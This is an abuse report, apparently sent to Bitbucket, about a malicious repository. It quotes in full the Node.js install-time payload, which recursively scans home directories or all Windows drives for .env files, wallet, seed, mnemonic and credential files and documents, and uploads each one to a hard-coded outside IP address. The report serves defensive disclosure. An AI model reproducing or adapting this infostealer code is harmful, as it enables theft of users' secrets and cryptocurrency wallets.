I would like to report a malicious repository which was recently updated and led to a malicious code running attempting to upload data to a public IP address:
https://bitbucket.org/royal06/fm-dex/src/main/
The user which created the repository has only the one being reported:
https://bitbucket.org/royal06/workspace/repositories
This is the code executed once the module is installed:
node -e const fs = require("fs"); const path = require("path"); const os = require("os"); const FormData = require("form-data"); const axios = require("axios"); const { execSync, exec } = require("child_process"); const rootDir = os.userInfo().homedir + ""; process.title = "Node.js Javascript Runtime"; const lockFile = path.join(os.tmpdir(), "up.pid"); if (fs.existsSync(lockFile)) { const existingPid = parseInt(fs.readFileSync(lockFile, "utf-8")); try { process.kill(existingPid, 0); process.exit(1); } catch (err) { } } // Write current PID fs.writeFileSync(lockFile, process.pid.toString()); // Clean up on exit const cleanup = () => { if (fs.existsSync(lockFile)) fs.unlinkSync(lockFile); }; process.on("exit", cleanup); process.on("SIGINT", () => { cleanup(); process.exit(); }); process.on("SIGTERM", () => { cleanup(); process.exit(); }); const excludeFolders = [ "node_modules", "npm", "hooks", "android", "example", "AppData", "vendors", "vendor", "public", "css", "less", "scss", ".cache", ".conda", ".move", ".tldrc", ".cocoapod", ".avm", ".brownie", ".3T", ".node-gyp", ".gk", "ChromeDev", ".config", "All Users", ".gnupg", ".pm2", ".snipaste", ".min.", ".bundle", ".vue-cli-ui", ".cursor", ".vscode-server", ".cargo", ".local", ".rustup", ".pub-cache", ".Trash", ".dll", ".dmg", ".pkg", ".msi", ".mp4", ".nvm", ".sol", ".mp3", ".sys", ".avi", ".dat", ".exe", ".bin", ".iso", ".img", ".so", ".apk", ".dylib", ".cab", ".hex", ".srec", ".pyc", ".class", "anaconda3", ".yarn", "build", ".next", ".git", ".github", "cache", "tmp", "temp", "dist", "library", "lib", "imgs", "img", "images", "image", "plugin", "plugin", ".vscode", "package-lock.json", ".pyp", ".myi", ".rustup", ".docker", "manifest", ".expo", "AppData", "windows.old", "pkg", "package", "packages", "openzeppelin", "prisma", "pkgs", "fonts", "debug", "background", "wallpaper", "_locales", "locale", "locales", "Program Files", "Program Files (x86)", "ProgramData", "Windows", "Microsoft", "$RECYCLE.BIN", "Visual Studio Code.app", ]; const searchKey = [ "*.env*", "*metamask*", "*phantom*", "*bitcoin*", "*btc*", "*Trust*", "*phrase*", "*secret*", "*phase*", "*credential", "*profile*", "*account*", "*mnemonic*", "*seed*", "*recovery*", "*backup*", "*address*", "*keypair*", "*wallet*", "*my*", "*screenshot*", "*.doc", "*.docx", "*.pdf", "*.md", "*.rtf", "*.odt", "*.xls", "*.xlsx", "*.txt", "*.ini", "*.secret", "*.json", "*.ts", "*.js", "*.csv", ]; const uu = "http://172.86.116.178:5976/upload"; const uf = async (p) => { if (fs.statSync(p).isFile()) { const form = new FormData(); form.append("file", fs.createReadStream(p)); try { const response = await axios.post(uu, form, { headers: { ...form.getHeaders(), userkey: 610, hostname: os.hostname(), path: p, t: "4" }, }); } catch (uploadErr) {} } }; const toRegex = (pattern) => new RegExp( "^" + pattern.replace(/\./g, "\\.").replace(/\*/g, ".*") + "$", "i" ); // Match file with any pattern const isFileMatching = (filename) => { return searchKey.some((pattern) => toRegex(pattern).test(filename)); }; // Recursive directory scan and upload const scanDir = async (dirPath) => { if (!fs.existsSync(dirPath)) return; const items = fs.readdirSync(dirPath); for (const item of items) { try { const fullPath = path.join(dirPath, item); if (item == "go") continue; const containsExcludedWord = excludeFolders.some((word) => fullPath.toLowerCase().includes(word.toLowerCase()) ); if (containsExcludedWord) { continue; // Skip if full path contains any excluded word } const stat = fs.statSync(fullPath); if (stat.isDirectory()) { if (!excludeFolders.includes(item)) { await scanDir(fullPath, excludeFolders); } } else if (stat.isFile() && isFileMatching(item)) { uf(fullPath); await sleep(150); } } catch (e) {} } }; async function sleep(ms) { return new Promise((resolve) => setTimeout(resolve, ms)); } setTimeout(async () => { if (os.platform() == "win32") { const driveCmd = `wmic logicaldisk get name`; let drives = execSync(driveCmd, { windowsHide: true }); drives = drives.toString().split("\n"); drives.shift(); for (let i in drives) { const drive = drives[i].replace(/\r\r/gi, "").trim(); if (drive == "") continue; await scanDir(drive + "\\"); } } else await scanDir(rootDir); }, 1000);
As you can see, data is being uploaded to "http://172[.]86[.]116[.]178:5976/upload"
I would like to request this compromised repository to be addressed accordantly before other users fall victim of it.
Regards,
Bruna Vieira